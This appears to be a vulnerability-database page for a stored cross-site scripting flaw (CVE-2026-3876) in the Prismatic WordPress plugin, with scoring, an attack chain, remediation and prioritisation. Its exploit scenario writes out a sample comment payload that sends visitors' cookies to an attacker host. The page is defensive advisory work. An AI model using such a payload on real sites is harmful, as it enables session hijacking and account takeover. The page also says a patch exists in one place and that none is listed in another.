Skip to main content

Prismatic EUVDEUVD-2026-23212

| CVE-2026-3876 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-04-16 Wordfence
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Access public WordPress page
  2. Delivery
    Submit comment with crafted prismatic_encoded shortcode
  3. Exploit
    Malicious comment stored in database
  4. Install
    Victim views page containing comment
  5. C2
    prismatic_decode processes unsanitized attributes
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Exfiltrate session cookies or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target WordPress site to have: (1) Prismatic plugin version 3.7.3 or earlier installed and activated, (2) Comment submission enabled for unauthenticated users (WordPress default unless explicitly disabled), (3) Comment moderation disabled or attacker willing to wait for approval if enabled. The vulnerability affects the 'prismatic_encoded' pseudo-shortcode processing specifically, suggesting this feature must be actively supported by the installed plugin version. Attack complexity is low (AC:L) with no user interaction required (UI:N), meaning once a malicious comment is published, automatic exploitation occurs when any user views the page. No special WordPress configuration beyond default comment settings is required. The scope change (S:C) indicates successful exploitation impacts the broader WordPress application context, not just the Prismatic plugin sandbox, allowing attackers to access WordPress session data and perform actions with victim privileges. Sites with open comment submission on public posts/pages face highest risk; sites restricting comments to registered users or specific posts have reduced but non-zero exposure if attackers can create accounts.

Impact

Real-world risk is MODERATE-HIGH despite the 7.2 CVSS score. The attack vector is network-based with low complexity (AV:N/AC:L) and requires no authentication (PR:N) or user interaction (UI:N), making exploitation straightforward. The scope change (S:C) and confidentiality/integrity impacts (C:L/I:L) indicate attackers can compromise data beyond the vulnerable plugin itself. However, several factors moderate urgency: (1) No CISA KEV listing suggests this is not yet widely exploited in targeted campaigns, (2) WordPress comment moderation, if enabled, provides a defensive layer by requiring admin approval before malicious comments appear publicly, (3) The vulnerability requires the Prismatic plugin to be installed and active, limiting the attack surface to sites using this specific code display plugin, (4) EPSS probability data is unavailable but the combination of unauthenticated exploitation and patch availability (3.7.4) suggests automated scanning and opportunistic exploitation is likely within weeks. Organizations running public-facing WordPress sites with Prismatic plugin and open comment submission should prioritize patching. The stored XSS nature means successful exploitation creates persistent attack vectors affecting all site visitors until remediated.

Exploit ScenarioDerived

An unauthenticated attacker visits a WordPress site running Prismatic plugin ≤3.7.3 with open comment submission. They craft a comment containing malicious JavaScript wrapped in the prismatic_encoded pseudo-shortcode with manipulated attributes designed to bypass sanitization, such as: [prismatic_encoded data='<script>document.location="http://attacker.com/steal.php?c="+document.cookie</script>']. Upon submission, WordPress stores the comment in the database. When legitimate users (including administrators) view the page containing this comment, the prismatic_decode function processes the shortcode without proper escaping, causing the injected JavaScript to execute in victims' browsers. The script exfiltrates session cookies to the attacker's server, enabling session hijacking and potential administrative account compromise. Publicly available exploit code status unknown at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 16, 2026

Stored Cross-Site Scripting in Prismatic WordPress plugin (all versions ≤3.7.3) allows unauthenticated remote attackers to inject malicious scripts via crafted comment submissions containing the 'prismatic_encoded' pseudo-shortcode. Vulnerable code in prismatic_decode function fails to sanitize user-supplied attributes. CVSS 7.2 with scope change (S:C) elevates impact beyond vulnerable component. EPSS data not available; no CISA KEV listing identified. Wordfence threat intelligence confirms vulnerability; patch released in version 3.7.4 per WordPress plugin repository changelog.

RemediationAI

Update Prismatic plugin to version 3.7.4 or later immediately through WordPress admin dashboard (Plugins > Installed Plugins > Prismatic > Update) or via WP-CLI command 'wp plugin update prismatic'. Version 3.7.4 implements proper input sanitization in the prismatic_decode function per changeset at https://plugins.trac.wordpress.org/changeset?old_path=/prismatic/tags/3.7.3/inc/prismatic-core.php&new_path=/prismatic/tags/3.7.4/inc/prismatic-core.php. If immediate patching is not feasible, implement these compensating controls: (1) Enable comment moderation in WordPress Settings > Discussion > 'Comment must be manually approved' to prevent malicious comments from publishing automatically (trade-off: increased administrative overhead reviewing legitimate comments), (2) Temporarily disable the Prismatic plugin if syntax highlighting is non-essential (trade-off: loss of code display functionality), (3) Implement Web Application Firewall (WAF) rules to block 'prismatic_encoded' strings in POST requests to wp-comments-post.php endpoint (trade-off: may generate false positives if legitimate users reference the shortcode name). After patching, audit existing comments for suspicious prismatic_encoded shortcode usage via database query: SELECT * FROM wp_comments WHERE comment_content LIKE '%prismatic_encoded%' and review/sanitize any findings. Consult Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/aa4e18b0-f871-4476-af92-42e55aabdf93?source=cve for additional mitigation guidance.

Affected VersionsENISA

Prismatic 0 ≤3.7.3

Affected Packages

euvd prismatic no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Prismatic plugin (CPE: cpe:2.3:a:specialk:prismatic) provides syntax highlighting and code display functionality for WordPress through shortcodes. The vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) exists in the prismatic_decode function within inc/prismatic-core.php. This function processes the 'prismatic_encoded' pseudo-shortcode but fails to properly sanitize attributes before rendering. WordPress allows unauthenticated users to submit comments by default, and the plugin processes shortcodes within comment content. When malicious JavaScript is embedded in shortcode attributes, it gets stored in the WordPress database and executed in victims' browsers when rendering pages containing the crafted comment. The CVSS scope change (S:C) indicates the vulnerability can impact resources beyond the plugin's security boundary, affecting the broader WordPress site context including admin sessions and other user data.

Know when Prismatic gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Prismatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'prismatic_encoded' pseudo-shortcode in all versions up to, and including, 3.7.3. This is due to insufficient input sanitization and output escaping on user-supplied attributes within the 'prismatic_decode' function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page by submitting a comment containing a crafted 'prismatic_encoded' pseudo-shortcode.

Executive ViewAI

Why It Matters

The Prismatic WordPress plugin (versions ≤3.7.3) contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts through comment submissions, potentially compromising site visitors and administrative accounts. Organizations running WordPress with this plugin face direct risk to website integrity, visitor data, and administrative credentials without immediate remediation.

Business Impact: High
Compensating Controls

Vendor-released patch: version 3.7.4. If upgrade is temporarily blocked, implement compensating controls: disable comment functionality in WordPress settings; restrict comment submissions to authenticated users only via plugin settings; deploy Web Application Firewall (WAF) rules to block requests containing 'prismatic_encoded' pseudo-shortcode in comment fields; enable WordPress comment moderation requiring admin approval before publication; maintain regular backups for rapid recovery if compromise occurs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 96% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy